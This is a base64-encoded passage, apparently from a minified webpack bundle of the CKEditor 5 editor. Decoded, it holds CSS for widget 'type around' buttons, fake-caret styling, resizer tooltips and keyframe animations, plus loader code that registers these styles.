xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHR9XG5cblx0Lypcblx0ICogU3R5bGVzIGZvciB0aGUgaG9yaXpvbnRhbCAiZmFrZSBjYXJldCIgd2hlbiBpdCBzaG91bGQgYmUgZGlzcGxheWVkIGFmdGVyIHRoZSB3aWRnZXQgKGZvcndhcmQga2V5Ym9hcmQgbmF2aWdhdGlvbikuXG5cdCAqL1xuXHQmLmNrLXdpZGdldF90eXBlLWFyb3VuZF9zaG93LWZha2UtY2FyZXRfYWZ0ZXIgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19mYWtlLWNhcmV0IHtcblx0XHRib3R0b206IGNhbGMoIC0xICogdmFyKC0tY2std2lkZ2V0LW91dGxpbmUtdGhpY2tuZXNzKSAtIDFweCApO1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHR9XG59XG5cbi8qXG4gKiBJbnRlZ3JhdGlvbiB3aXRoIHRoZSByZWFkLW9ubHkgbW9kZSBvZiB0aGUgZWRpdG9yLlxuICovXG4uY2suY2stZWRpdG9yX19lZGl0YWJsZS5jay1yZWFkLW9ubHkgLmNrLXdpZGdldF9fdHlwZS1hcm91bmQge1xuXHRkaXNwbGF5OiBub25lO1xufVxuXG4vKlxuICogSW50ZWdyYXRpb24gd2l0aCB0aGUgcmVzdHJpY3RlZCBlZGl0aW5nIG1vZGUgKGZlYXR1cmUpIG9mIHRoZSBlZGl0b3IuXG4gKi9cbi5jay5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLXJlc3RyaWN0ZWQtZWRpdGluZ19tb2RlX3Jlc3RyaWN0ZWQgLmNrLXdpZGdldF9fdHlwZS1hcm91bmQge1xuXHRkaXNwbGF5OiBub25lO1xufVxuXG4vKlxuICogSW50ZWdyYXRpb24gd2l0aCB0aGUgI2lzRW5hYmxlZCBwcm9wZXJ0eSBvZiB0aGUgV2lkZ2V0VHlwZUFyb3VuZCBwbHVnaW4uXG4gKi9cbi5jay5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLXdpZGdldF9fdHlwZS1hcm91bmRfZGlzYWJsZWQgLmNrLXdpZGdldF9fdHlwZS1hcm91bmQge1xuXHRkaXNwbGF5OiBub25lO1xufVxuJywnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG46cm9vdCB7XG5cdC0tY2std2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi1zaXplOiAyMHB4O1xuXHQtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tYWN0aXZlOiB2YXIoLS1jay1jb2xvci1mb2N1cy1ib3JkZXIpO1xuXHQtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24taG92ZXI6IHZhcigtLWNrLWNvbG9yLXdpZGdldC1ob3Zlci1ib3JkZXIpO1xuXHQtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tYmx1cnJlZC1lZGl0YWJsZTogdmFyKC0tY2stY29sb3Itd2lkZ2V0LWJsdXJyZWQtYm9yZGVyKTtcblx0LS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLXJhZGFyLXN0YXJ0LWFscGhhOiAwO1xuXHQtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tcmFkYXItZW5kLWFscGhhOiAuMztcblx0LS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLWljb246IHZhcigtLWNrLWNvbG9yLWJhc2UtYmFja2dyb3VuZCk7XG59XG5cbkBkZWZpbmUtbWl4aW4gY2std2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi12aXNpYmxlIHtcblx0b3BhY2l0eTogMTtcblx0cG9pbnRlci1ldmVudHM6IGF1dG87XG59XG5cbkBkZWZpbmUtbWl4aW4gY2std2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi1oaWRkZW4ge1xuXHRvcGFjaXR5OiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cblxuLmNrIC5jay13aWRnZXQge1xuXHQvKlxuXHQgKiBTdHlsZXMgb2YgdGhlIHR5cGUgYXJvdW5kIGJ1dHRvbnNcblx0ICovXG5cdCYgLmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbiB7XG5cdFx0d2lkdGg6IHZhcigtLWNrLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tc2l6ZSk7XG5cdFx0aGVpZ2h0OiB2YXIoLS1jay13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLXNpemUpO1xuXHRcdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24pO1xuXHRcdGJvcmRlci1yYWRpdXM6IDEwMHB4O1xuXHRcdHRyYW5zaXRpb246IG9wYWNpdHkgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWR1cmF0aW9uKSB2YXIoLS1jay13aWRnZXQtaGFuZGxlci1hbmltYXRpb24tY3VydmUpLCBiYWNrZ3JvdW5kIHZhcigtLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1kdXJhdGlvbikgdmFyKC0tY2std2lkZ2V0LWhhbmRsZXItYW5pbWF0aW9uLWN1cnZlKTtcblxuXHRcdEBtaXhpbiBjay13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLWhpZGRlbjtcblxuXHRcdCYgc3ZnIHtcblx0XHRcdHdpZHRoOiAxMHB4O1xuXHRcdFx0aGVpZ2h0OiA4cHg7XG5cdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLC01MCUpO1xuXHRcdFx0dHJhbnNpdGlvbjogdHJhbnNmb3JtIC41cyBlYXNlO1xuXHRcdFx0bWFyZ2luLXRvcDogMXB4O1xuXG5cdFx0XHQmICoge1xuXHRcdFx0XHRzdHJva2UtZGFzaGFycmF5OiAxMDtcblx0XHRcdFx0c3Ryb2tlLWRhc2hvZmZzZXQ6IDA7XG5cblx0XHRcdFx0ZmlsbDogbm9uZTtcblx0XHRcdFx0c3Ryb2tlOiB2YXIoLS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLWljb24pO1xuXHRcdFx0XHRzdHJva2Utd2lkdGg6IDEuNXB4O1xuXHRcdFx0XHRzdHJva2UtbGluZWNhcDogcm91bmQ7XG5cdFx0XHRcdHN0cm9rZS1saW5lam9pbjogcm91bmQ7XG5cdFx0XHR9XG5cblx0XHRcdCYgbGluZSB7XG5cdFx0XHRcdHN0cm9rZS1kYXNoYXJyYXk6IDc7XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0Jjpob3ZlciB7XG5cdFx0XHQvKlxuXHRcdFx0ICogRGlzcGxheSB0aGUgInNvbmFyIiBhcm91bmQgdGhlIGJ1dHRvbiB3aGVuIGhvdmVyZWQuXG5cdFx0XHQgKi9cblx0XHRcdGFuaW1hdGlvbjogY2std2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi1zb25hciAxcyBlYXNlIGluZmluaXRlO1xuXG5cdFx0XHQvKlxuXHRcdFx0ICogQW5pbWF0ZSBhY3RpdmUgYnV0dG9uXCdzIGljb24uXG5cdFx0XHQgKi9cblx0XHRcdCYgc3ZnIHtcblx0XHRcdFx0JiBwb2x5bGluZSB7XG5cdFx0XHRcdFx0YW5pbWF0aW9uOiBjay13aWRnZXQtdHlwZS1hcm91bmQtYXJyb3ctZGFzaCAycyBsaW5lYXI7XG5cdFx0XHRcdH1cblxuXHRcdFx0XHQmIGxpbmUge1xuXHRcdFx0XHRcdGFuaW1hdGlvbjogY2std2lkZ2V0LXR5cGUtYXJvdW5kLWFycm93LXRpcC1kYXNoIDJzIGxpbmVhcjtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxuXG5cdC8qXG5cdCAqIFNob3cgdHlwZSBhcm91bmQgYnV0dG9ucyB3aGVuIHRoZSB3aWRnZXQgZ2V0cyBzZWxlY3RlZCBvciBiZWluZyBob3ZlcmVkLlxuXHQgKi9cblx0Ji5jay13aWRnZXRfc2VsZWN0ZWQsXG5cdCY6aG92ZXIge1xuXHRcdCYgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b24ge1xuXHRcdFx0QG1peGluIGNrLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tdmlzaWJsZTtcblx0XHR9XG5cdH1cblxuXHQvKlxuXHQgKiBTdHlsZXMgZm9yIHRoZSBidXR0b25zIHdoZW4gdGhlIHdpZGdldCBpcyBOT1Qgc2VsZWN0ZWQgKGJ1dCB0aGUgYnV0dG9ucyBhcmUgdmlzaWJsZVxuXHQgKiBhbmQgc3RpbGwgY2FuIGJlIGhvdmVyZWQpLlxuXHQgKi9cblx0Jjpub3QoLmNrLXdpZGdldF9zZWxlY3RlZCkgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b24ge1xuXHRcdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24taG92ZXIpO1xuXHR9XG5cblx0Lypcblx0ICogU3R5bGVzIGZvciB0aGUgYnV0dG9ucyB3aGVuOlxuXHQgKiAtIHRoZSB3aWRnZXQgaXMgc2VsZWN0ZWQsXG5cdCAqIC0gb3IgdGhlIGJ1dHRvbiBpcyBiZWluZyBob3ZlcmVkIChyZWdhcmRsZXNzIG9mIHRoZSB3aWRnZXQgc3RhdGUpLlxuXHQgKi9cblx0Ji5jay13aWRnZXRfc2VsZWN0ZWQgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b24sXG5cdCYgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b246aG92ZXIge1xuXHRcdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tYWN0aXZlKTtcblxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdHdpZHRoOiBjYWxjKHZhcigtLWNrLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tc2l6ZSkgLSAycHgpO1xuXHRcdFx0aGVpZ2h0OiBjYWxjKHZhcigtLWNrLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tc2l6ZSkgLSAycHgpO1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogMTAwcHg7XG5cdFx0XHRiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCBoc2xhKDAsMCUsMTAwJSwwKSAwJSwgaHNsYSgwLDAlLDEwMCUsLjMpIDEwMCUpO1xuXHRcdH1cblx0fVxuXG5cdC8qXG5cdCAqIFN0eWxlcyBmb3IgdGhlICJiZWZvcmUiIGJ1dHRvbiB3aGVuIHRoZSB3aWRnZXQgaGFzIGEgc2VsZWN0aW9uIGhhbmRsZS4gQmVjYXVzZSBzb21lIHNwYWNlXG5cdCAqIGlzIGNvbnN1bWVkIGJ5IHRoZSBoYW5kbGUsIHRoZSBidXR0b24gbXVzdCBiZSBtb3ZlZCBzbGlnaHRseSB0byB0aGUgcmlnaHQgdG8gbGV0IGl0IGJyZWF0aGUuXG5cdCAqL1xuXHQmLmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b25fYmVmb3JlIHtcblx0XHRtYXJnaW4tbGVmdDogMjBweDtcblx0fVxuXG5cdC8qXG5cdCAqIFN0eWxlcyBmb3IgdGhlIGhvcml6b250YWwgImZha2UgY2FyZXQiIHdoaWNoIGlzIGRpc3BsYXllZCB3aGVuIHRoZSB1c2VyIG5hdmlnYXRlcyB1c2luZyB0aGUga2V5Ym9hcmQuXG5cdCAqL1xuXHQmIC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19mYWtlLWNhcmV0IHtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHRoZWlnaHQ6IDFweDtcblx0XHRhbmltYXRpb246IGNrLXdpZGdldC10eXBlLWFyb3VuZC1mYWtlLWNhcmV0LXB1bHNlIGxpbmVhciAxcyBpbmZpbml0ZSBub3JtYWwgZm9yd2FyZHM7XG5cblx0XHQvKlxuXHRcdCAqIFRoZSBzZW1pLXRyYW5zcGFyZW50LW91dGxpbmUrYmFja2dyb3VuZCBjb21ibyBpbXByb3ZlcyB0aGUgY29udHJhc3Rcblx0XHQgKiB3aGVuIHRoZSBiYWNrZ3JvdW5kIHVuZGVybmVhdGggdGhlIGZha2UgY2FyZXQgaXMgZGFyay5cblx0XHQgKi9cblx0XHRvdXRsaW5lOiBzb2xpZCAxcHggaHNsYSgwLCAwJSwgMTAwJSwgLjUpO1xuXHRcdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLWJhc2UtdGV4dCk7XG5cdH1cblxuXHQvKlxuXHQgKiBTdHlsZXMgb2YgdGhlIHdpZGdldCB3aGVuIHRoZSAiZmFrZSBjYXJldCIgaXMgYmxpbmtpbmcgKGUuZy4gdXBvbiBrZXlib2FyZCBuYXZpZ2F0aW9uKS5cblx0ICogRGVzcGl0ZSB0aGUgd2lkZ2V0IGJlaW5nIHBoeXNpY2FsbHkgc2VsZWN0ZWQgaW4gdGhlIG1vZGVsLCBpdHMgb3V0bGluZSBzaG91bGQgZGlzYXBwZWFyLlxuXHQgKi9cblx0Ji5jay13aWRnZXRfc2VsZWN0ZWQge1xuXHRcdCYuY2std2lkZ2V0X3R5cGUtYXJvdW5kX3Nob3ctZmFrZS1jYXJldF9iZWZvcmUsXG5cdFx0Ji5jay13aWRnZXRfdHlwZS1hcm91bmRfc2hvdy1mYWtlLWNhcmV0X2FmdGVyIHtcblx0XHRcdG91dGxpbmUtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdH1cblx0fVxuXG5cdCYuY2std2lkZ2V0X3R5cGUtYXJvdW5kX3Nob3ctZmFrZS1jYXJldF9iZWZvcmUsXG5cdCYuY2std2lkZ2V0X3R5cGUtYXJvdW5kX3Nob3ctZmFrZS1jYXJldF9hZnRlciB7XG5cdFx0Lypcblx0XHQgKiBXaGVuIHRoZSAiZmFrZSBjYXJldCIgaXMgdmlzaWJsZSB3ZSBzaW11bGF0ZSB0aGF0IHRoZSB3aWRnZXQgaXMgbm90IHNlbGVjdGVkXG5cdFx0ICogKGRlc3BpdGUgYmVpbmcgcGh5c2ljYWxseSBzZWxlY3RlZCksIHNvIHRoZSBvdXRsaW5lIGNvbG9yIHNob3VsZCBiZSBmb3IgdGhlXG5cdFx0ICogdW5zZWxlY3RlZCB3aWRnZXQuXG5cdFx0ICovXG5cdFx0Ji5jay13aWRnZXRfc2VsZWN0ZWQ6aG92ZXIge1xuXHRcdFx0b3V0bGluZS1jb2xvcjogdmFyKC0tY2stY29sb3Itd2lkZ2V0LWhvdmVyLWJvcmRlcik7XG5cdFx0fVxuXG5cdFx0Lypcblx0XHQgKiBTdHlsZXMgb2YgdGhlIHR5cGUgYXJvdW5kIGJ1dHRvbnMgd2hlbiB0aGUgImZha2UgY2FyZXQiIGlzIGJsaW5raW5nIChlLmcuIHVwb24ga2V5Ym9hcmQgbmF2aWdhdGlvbikuXG5cdFx0ICogSW4gdGhpcyBzdGF0ZSwgdGhlIHR5cGUgYXJvdW5kIGJ1dHRvbnMgd291bGQgY29sbGlkZSB3aXRoIHRoZSBmYWtlIGNhcmV0cyBzbyB0aGV5IHNob3VsZCBkaXNhcHBlYXIuXG5cdFx0ICovXG5cdFx0JiA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kID4gLmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbiB7XG5cdFx0XHRAbWl4aW4gY2std2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi1oaWRkZW47XG5cdFx0fVxuXG5cdFx0Lypcblx0XHQgKiBGYWtlIGhvcml6b250YWwgY2FyZXQgaW50ZWdyYXRpb24gd2l0aCB0aGUgc2VsZWN0aW9uIGhhbmRsZS4gV2hlbiB0aGUgY2FyZXQgaXMgdmlzaWJsZSwgc2ltcGx5XG5cdFx0ICogaGlkZSB0aGUgaGFuZGxlIGJlY2F1c2UgaXQgaW50ZXJzZWN0cyB3aXRoIHRoZSBjYXJldCAoYW5kIGRvZXMgbm90IG1ha2UgbXVjaCBzZW5zZSBhbnl3YXkpLlxuXHRcdCAqL1xuXHRcdCYuY2std2lkZ2V0X3dpdGgtc2VsZWN0aW9uLWhhbmRsZSB7XG5cdFx0XHQmLmNrLXdpZGdldF9zZWxlY3RlZCxcblx0XHRcdCYuY2std2lkZ2V0X3NlbGVjdGVkOmhvdmVyIHtcblx0XHRcdFx0JiA+IC5jay13aWRnZXRfX3NlbGVjdGlvbi1oYW5kbGUge1xuXHRcdFx0XHRcdG9wYWNpdHk6IDBcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblxuXHRcdC8qXG5cdFx0ICogRmFrZSBob3Jpem9udGFsIGNhcmV0IGludGVncmF0aW9uIHdpdGggdGhlIHJlc2l6ZSBVSS4gV2hlbiB0aGUgY2FyZXQgaXMgdmlzaWJsZSwgc2ltcGx5XG5cdFx0ICogaGlkZSB0aGUgcmVzaXplIFVJIGJlY2F1c2UgaXQgY3JlYXRlcyB0b28gbXVjaCBub2lzZS4gSXQgY2FuIGJlIHZpc2libGUgd2hlbiB0aGUgdXNlclxuXHRcdCAqIGhvdmVycyB0aGUgd2lkZ2V0LCB0aG91Z2guXG5cdFx0ICovXG5cdFx0Ji5jay13aWRnZXRfc2VsZWN0ZWQuY2std2lkZ2V0X3dpdGgtcmVzaXplciA+IC5jay13aWRnZXRfX3Jlc2l6ZXIge1xuXHRcdFx0b3BhY2l0eTogMFxuXHRcdH1cblx0fVxufVxuXG4vKlxuICogU3R5bGVzIGZvciB0aGUgImJlZm9yZSIgYnV0dG9uIHdoZW4gdGhlIHdpZGdldCBoYXMgYSBzZWxlY3Rpb24gaGFuZGxlIGluIGFuIFJUTCBlbnZpcm9ubWVudC5cbiAqIFRoZSBzZWxlY3Rpb24gaGFuZGxlciBpcyBhbGlnbmVkIHRvIHRoZSByaWdodCBzaWRlIG9mIHRoZSB3aWRnZXQgc28gdGhlcmUgaXMgbm8gbmVlZCB0byBjcmVhdGVcbiAqIGFkZGl0aW9uYWwgc3BhY2UgZm9yIGl0IG5leHQgdG8gdGhlICJiZWZvcmUiIGJ1dHRvbi5cbiAqL1xuLmNrW2Rpcj0icnRsIl0gLmNrLXdpZGdldC5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxlIC5jay13aWRnZXRfX3R5cGUtYXJvdW5kID4gLmNrLXdpZGdldF9fdHlwZS1hcm91bmRfX2J1dHRvbl9iZWZvcmUge1xuXHRtYXJnaW4tbGVmdDogMDtcblx0bWFyZ2luLXJpZ2h0OiAyMHB4O1xufVxuXG4vKlxuICogSGlkZSB0eXBlIGFyb3VuZCBidXR0b25zIHdoZW4gdGhlIHdpZGdldCBpcyBzZWxlY3RlZCBhcyBhIGNoaWxkIG9mIGEgc2VsZWN0ZWRcbiAqIG5lc3RlZCBlZGl0YWJsZSAoZS5nLiBtdWxpdC1jZWxsIHRhYmxlIHNlbGVjdGlvbikuXG4gKlxuICogU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUvaXNzdWVzLzcyNjMuXG4gKi9cbi5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZS5jay1lZGl0b3JfX2VkaXRhYmxlX3NlbGVjdGVkIHtcblx0JiAuY2std2lkZ2V0IHtcblx0XHQmLmNrLXdpZGdldF9zZWxlY3RlZCxcblx0XHQmOmhvdmVyIHtcblx0XHRcdCYgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b24ge1xuXHRcdFx0XHRAbWl4aW4gY2std2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi1oaWRkZW47XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG5cbi8qXG4gKiBTdHlsZXMgZm9yIHRoZSBidXR0b25zIHdoZW4gdGhlIHdpZGdldCBpcyBzZWxlY3RlZCBidXQgdGhlIHVzZXIgY2xpY2tlZCBvdXRzaWRlIG9mIHRoZSBlZGl0b3IgKGJsdXJyZWQgdGhlIGVkaXRvcikuXG4gKi9cbi5jay1lZGl0b3JfX2VkaXRhYmxlLmNrLWJsdXJyZWQgLmNrLXdpZGdldC5jay13aWRnZXRfc2VsZWN0ZWQgPiAuY2std2lkZ2V0X190eXBlLWFyb3VuZCA+IC5jay13aWRnZXRfX3R5cGUtYXJvdW5kX19idXR0b246bm90KDpob3Zlcikge1xuXHRiYWNrZ3JvdW5kOiB2YXIoLS1jay1jb2xvci13aWRnZXQtdHlwZS1hcm91bmQtYnV0dG9uLWJsdXJyZWQtZWRpdGFibGUpO1xuXG5cdCYgc3ZnICoge1xuXHRcdHN0cm9rZTogaHNsKDAsMCUsNjAlKTtcblx0fVxufVxuXG5Aa2V5ZnJhbWVzIGNrLXdpZGdldC10eXBlLWFyb3VuZC1hcnJvdy1kYXNoIHtcblx0MCUge1xuXHRcdHN0cm9rZS1kYXNob2Zmc2V0OiAxMDtcblx0fVxuXHQyMCUsIDEwMCUge1xuXHRcdHN0cm9rZS1kYXNob2Zmc2V0OiAwO1xuXHR9XG59XG5cbkBrZXlmcmFtZXMgY2std2lkZ2V0LXR5cGUtYXJvdW5kLWFycm93LXRpcC1kYXNoIHtcblx0MCUsIDIwJSB7XG5cdFx0c3Ryb2tlLWRhc2hvZmZzZXQ6IDc7XG5cdH1cblx0NDAlLCAxMDAlIHtcblx0XHRzdHJva2UtZGFzaG9mZnNldDogMDtcblx0fVxufVxuXG5Aa2V5ZnJhbWVzIGNrLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tc29uYXIge1xuXHQwJSB7XG5cdFx0Ym94LXNoYWRvdzogMCAwIDAgMCBoc2xhKHZhcigtLWNrLWNvbG9yLWZvY3VzLWJvcmRlci1jb29yZGluYXRlcyksIHZhcigtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tcmFkYXItc3RhcnQtYWxwaGEpKTtcblx0fVxuXHQ1MCUge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIDVweCBoc2xhKHZhcigtLWNrLWNvbG9yLWZvY3VzLWJvcmRlci1jb29yZGluYXRlcyksIHZhcigtLWNrLWNvbG9yLXdpZGdldC10eXBlLWFyb3VuZC1idXR0b24tcmFkYXItZW5kLWFscGhhKSk7XG5cdH1cblx0MTAwJSB7XG5cdFx0Ym94LXNoYWRvdzogMCAwIDAgNXB4IGhzbGEodmFyKC0tY2stY29sb3ItZm9jdXMtYm9yZGVyLWNvb3JkaW5hdGVzKSwgdmFyKC0tY2stY29sb3Itd2lkZ2V0LXR5cGUtYXJvdW5kLWJ1dHRvbi1yYWRhci1zdGFydC1hbHBoYSkpO1xuXHR9XG59XG5cbkBrZXlmcmFtZXMgY2std2lkZ2V0LXR5cGUtYXJvdW5kLWZha2UtY2FyZXQtcHVsc2Uge1xuXHQwJSB7XG5cdFx0b3BhY2l0eTogMTtcblx0fVxuXHQ0OSUge1xuXHRcdG9wYWNpdHk6IDE7XG5cdH1cblx0NTAlIHtcblx0XHRvcGFjaXR5OiAwO1xuXHR9XG5cdDk5JSB7XG5cdFx0b3BhY2l0eTogMDtcblx0fVxuXHQxMDAlIHtcblx0XHRvcGFjaXR5OiAxO1xuXHR9XG59XG4nXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCI6cm9vdHstLWNrLWNvbG9yLXJlc2l6ZXI6dmFyKC0tY2stY29sb3ItZm9jdXMtYm9yZGVyKTstLWNrLXJlc2l6ZXItc2l6ZToxMHB4Oy0tY2stcmVzaXplci1ib3JkZXItd2lkdGg6MXB4Oy0tY2stcmVzaXplci1ib3JkZXItcmFkaXVzOjJweDstLWNrLXJlc2l6ZXItb2Zmc2V0OmNhbGModmFyKC0tY2stcmVzaXplci1zaXplKS8tMiAtIDJweCk7LS1jay1yZXNpemVyLXRvb2x0aXAtb2Zmc2V0OjEwcHg7LS1jay1jb2xvci1yZXNpemVyLXRvb2x0aXAtYmFja2dyb3VuZDojMjYyNjI2Oy0tY2stY29sb3ItcmVzaXplci10b29sdGlwLXRleHQ6I2YyZjJmMn0uY2sgLmNrLXdpZGdldCwuY2sgLmNrLXdpZGdldC5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxle3Bvc2l0aW9uOnJlbGF0aXZlfS5jayAuY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGUgLmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZXtwb3NpdGlvbjphYnNvbHV0ZX0uY2sgLmNrLXdpZGdldC5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxlIC5jay13aWRnZXRfX3NlbGVjdGlvbi1oYW5kbGUgLmNrLWljb257ZGlzcGxheTpibG9ja30uY2sgLmNrLXdpZGdldC5jay13aWRnZXRfd2l0aC1zZWxlY3Rpb24taGFuZGxlLmNrLXdpZGdldF9zZWxlY3RlZCAuY2std2lkZ2V0X19zZWxlY3Rpb24taGFuZGxlLC5jayAuY2std2lkZ2V0LmNrLXdpZGdldF93aXRoLXNlbGVjdGlvbi1oYW5kbGU6aG92ZXIgLmNrLXdpZGdldF9fc2VsZWN0aW9uLWhhbmRsZXt2aXNpYmlsaXR5OnZpc2libGV9LmNrIC5jay1zaXplLXZpZXd7YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1yZXNpemVyLXRvb2x0aXAtYmFja2dyb3VuZCk7Y29sb3I6dmFyKC0tY2stY29sb3ItcmVzaXplci10b29sdGlwLXRleHQpO2JvcmRlcjoxcHggc29saWQgdmFyKC0tY2stY29sb3ItcmVzaXplci10b29sdGlwLXRleHQpO2JvcmRlci1yYWRpdXM6dmFyKC0tY2stcmVzaXplci1ib3JkZXItcmFkaXVzKTtmb250LXNpemU6dmFyKC0tY2stZm9udC1zaXplLXRpbnkpO2Rpc3BsYXk6YmxvY2s7cGFkZGluZzp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0uY2sgLmNrLXNpemUtdmlldy5jay1vcmllbnRhdGlvbi1ib3R0b20tbGVmdCwuY2sgLmNrLXNpemUtdmlldy5jay1vcmllbnRhdGlvbi1ib3R0b20tcmlnaHQsLmNrIC5jay1zaXplLXZpZXcuY2stb3JpZW50YXRpb24tdG9wLWxlZnQsLmNrIC5jay1zaXplLXZpZXcuY2stb3JpZW50YXRpb24tdG9wLXJpZ2h0e3Bvc2l0aW9uOmFic29sdXRlfS5jayAuY2stc2l6ZS12aWV3LmNrLW9yaWVudGF0aW9uLXRvcC1sZWZ0e3RvcDp2YXIoLS1jay1yZXNpemVyLXRvb2x0aXAtb2Zmc2V0KTtsZWZ0OnZhcigtLWNrLXJlc2l6ZXItdG9vbHRpcC1vZmZzZXQpfS5jayAuY2stc2l6ZS12aWV3LmNrLW9yaWVudGF0aW9uLXRvcC1yaWdodHt0b3A6dmFyKC0tY2stcmVzaXplci10b29sdGlwLW9mZnNldCk7cmlnaHQ6dmFyKC0tY2stcmVzaXplci10b29sdGlwLW9mZnNldCl9LmNrIC5jay1zaXplLXZpZXcuY2stb3JpZW50YXRpb24tYm90dG9tLXJpZ2h0e2JvdHRvbTp2YXIoLS1jay1yZXNpemVyLXRvb2x0aXAtb2Zmc2V0KTtyaWdodDp2YXIoLS1jay1yZXNpemVyLXRvb2x0aXAtb2Zmc2V0KX0uY2sgLmNrLXNpemUtdmlldy5jay1vcmllbnRhdGlvbi1ib3R0b20tbGVmdHtib3R0b206dmFyKC0tY2stcmVzaXplci10b29sdGlwLW9mZnNldCk7bGVmdDp2YXIoLS1jay1yZXNpemVyLXRvb2x0aXAtb2Zmc2V0KX06cm9vdHstLWNrLXdpZGdldC1vdXRsaW5lLXRoaWNrbmVzczozcHg7LS1jay13aWRnZXQtaGFuZGxlci1pY29uLXNpemU6MTZweDstLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1kdXJhdGlvbjoyMDBtczstLWNrLXdpZGdldC1oYW5kbGVyLWFuaW1hdGlvbi1jdXJ2ZTplYXNlOy0tY2stY29sb3Itd2lkZ2V0LWJsdXJyZWQtYm9yZGVyOiNkZWRlZGU7LS1jay1jb2xvci13aWRnZX